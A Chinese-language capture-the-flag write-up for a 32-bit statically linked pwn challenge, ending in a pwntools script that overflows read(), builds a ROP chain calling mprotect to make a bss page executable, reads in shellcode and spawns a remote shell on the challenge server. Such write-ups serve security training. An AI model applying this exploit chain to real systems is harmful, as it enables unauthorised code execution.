# 1. 查看程序
32 位程序,开启了 NX,ida32 查看, main函数
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h] BYREF
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}
# 2. 分析
打开后发现左边有一大堆函数,应该是静态编译的,这种一般会有 mprotect 函数可以改变内存的执行权限,
发现果然有 mprotect 函数
mprotect(起始地址,修改内存长度,修改的权限(修改为7) )
指定的内存区间必须包含整个内存页(4k),起始地址必须是页的起始地址(末尾为000),修改区间的长度必须是页的整数倍
将 bbs 段内的页的整数倍地址作为起始地址,修改其权限为可读写、执行
mprotect 函数有 3 个参数,利用寄存器传参 (静态编译可以找到很多符合的):
# 3.exp:
from pwn import * | |
from LibcSearcher import * | |
from struct import pack | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./simplerop') | |
e=ELF('./simplerop') | |
p=remote('node4.buuoj.cn',26831) | |
#mprotect=0x0806D870 | |
mprotect=e.sym["mprotect"] | |
print("mprotect:"+hex(mprotect)) | |
#start=0x80ea000 | |
#start=0x8be2000 #heap | |
start=0x080EB000 #bbs | |
pop_esi_pop_edi_pop_ebp_ret=0x0804838c | |
main=0x8048E24 | |
#read=0x806CD50 | |
read=e.sym["read"] | |
print("read:"+hex(read)) | |
shellcode=asm(shellcraft.sh()) | |
p.recvuntil("Your input :") | |
payload=b"a"*(32)+p32(mprotect)+p32(pop_esi_pop_edi_pop_ebp_ret)+p32(start)+p32(0x1000)+p32(0x7)+p32(read)+p32(start)+p32(0)+p32(start)+p32(0x1000) | |
p.sendline(payload) | |
#p.recvuntil("Your input :") | |
#p.recv() | |
#p.recv() | |
#payload=b"a"*(0x20)+p32(read)+p32(pop_esi_pop_edi_pop_ebp_ret)+p32(0)+p32(start)+p32(0x1000)+p32(start) | |
#payload=b"a"*(0x20)+p32(read)+p32(start)+p32(0)+p32(start)+p32(0x1000)#+p32(start) | |
#p.sendline(payload) | |
p.sendline(shellcode) | |
p.interactive() |
【这里有个问题,构造的 rop 链不能是返回到 main 再次执行,这样会有问题,需要构造一个完整的链,修改 bbs 段上的权限,其他地方修改了仍然无法执行,可能是 ASLR 的原因】
其他方法:
https://blog.csdn.net/A951860555/article/details/115286266